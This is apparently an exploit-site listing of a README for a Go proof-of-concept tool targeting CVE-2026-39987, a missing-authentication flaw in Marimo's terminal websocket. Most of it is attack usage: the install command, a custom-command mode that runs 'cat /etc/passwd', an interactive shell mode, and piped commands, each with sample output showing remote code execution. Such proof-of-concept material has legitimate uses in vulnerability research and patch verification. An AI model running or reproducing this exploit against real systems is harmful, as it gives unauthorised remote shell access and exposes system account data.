Exploit for Missing Authentication for Critical Function in Coreweave Marimo

## https://sploitus.com/exploit?id=710283AD-6251-5118-9731-483E73A5F3E9
cve-2026-39987
  




  Installation •
  Usage •
  Examples


*I'm just trying out Go :D* Btw: CVE-2026-39987 PoC: Marimo
-   


# Installation

    go install -v github.com/matesz44/cve-2026-39987/cmd/cve-2026-39987@latest


# Usage

    cve-2026-39987 -h

This will display help for the tool. Here are all the switches it supports.

    CVE-2026-39987 PoC: Marimo[:PORT]/terminal/ws
    REDACTED@REDACTED:~$ uname -a
    Linux [...]
    REDACTED@REDACTED:~$ exit
    exit
    
    [INF:normalclose] websocket: close 1000 (normal): Terminal session ended

Custom Command (`-c`):

    cve-2026-39987 -t ws(s)://[:PORT]/terminal/ws -c "cat /etc/passwd"
    REDACTED@REDACTED:~$ cat /etc/passwd
    exit
    root:x:0:0: [...]
    REDACTED@REDACTED:~$ exit
    exit
    
    [INF:normalclose] websocket: close 1000 (normal): Terminal session ended

Interactive Mode (`-i`):

    cve-2026-39987 -t ws(s)://[:PORT]/terminal/ws -i
    REDACTED@REDACTED:~$ id
    id
    uid=1000(REDACTED) gid=1000(REDACTED) groups=1000(REDACTED)
    REDACTED@REDACTED:~$ whoami
    whoami
    REDACTED
    REDACTED@REDACTED:~$ exit
    exit
    exit
    
    [INF:normalclose] websocket: close 1000 (normal): Terminal session ended

Piping:

    printf "id\nwhoami" | cve-2026-39987 -t ws(s)://[:PORT]/terminal/ws
    REDACTED@REDACTED:~$ id
    whoami
    exit
    uid=1000(REDACTED) gid=1000(REDACTED) groups=1000(REDACTED)
    REDACTED@REDACTED:~$ whoami
    REDACTED
    REDACTED@REDACTED:~$ exit
    exit
    
    [INF:normalclose] websocket: close 1000 (normal): Terminal session ended